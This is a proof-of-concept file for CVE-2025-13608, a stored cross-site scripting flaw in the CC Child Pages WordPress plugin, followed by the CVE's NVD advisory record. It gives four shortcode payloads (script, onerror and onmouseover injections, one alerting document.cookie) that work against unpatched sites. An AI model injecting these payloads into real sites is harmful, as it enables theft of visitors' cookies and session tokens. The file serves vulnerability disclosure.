CVE-2025-13608

<!-- CVE-2025-13608 PoC - Stored XSS via child_pages shortcode --> <!-- Requires contributor-level access or higher --> <!-- Method 1: Using use_custom_link_target attribute --> [child_pages use_custom_link='1' use_custom_link_target='" onmouseover="alert(document.cookie)//'] <!-- Method 2: Using use_custom_link attribute --> [child_pages use_custom_link='1' use_custom_link='<script>alert(String.fromCharCode(88,83,83))</script>'] <!-- Method 3: Using use_custom_excerpt attribute --> [child_pages use_custom_excerpt='1' use_custom_excerpt='<img src=x onerror=alert(1)>'] <!-- Method 4: Using use_custom_thumbs attribute --> [child_pages use_custom_thumbs='1' use_custom_thumbs='" onload="alert(document.domain)//'] <!-- Explanation: 1. Attacker with contributor+ role creates/edits a post 2. Inserts malicious shortcode with payload in one of the four attributes 3. When page is viewed by any user, XSS payload executes 4. Payload can steal cookies, session tokens, or perform actions on behalf of victim -->

{"cve": {"id": "CVE-2025-13608", "sourceIdentifier": "[email protected]", "published": "2025-12-15T15:15:48.340", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CC Child Pages plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'child_pages' shortcode in all versions up to, and including, 2.0.0. This is due to insufficient input sanitization and output escaping on four user-supplied attributes (use_custom_link, use_custom_link_target, use_custom_thumbs, and use_custom_excerpt) in the 'show_child_pages' function. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3403877/cc-child-pages", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/139009b5-69d4-44ca-820c-766645828e5e?source=cve", "source": "[email protected]"}]}}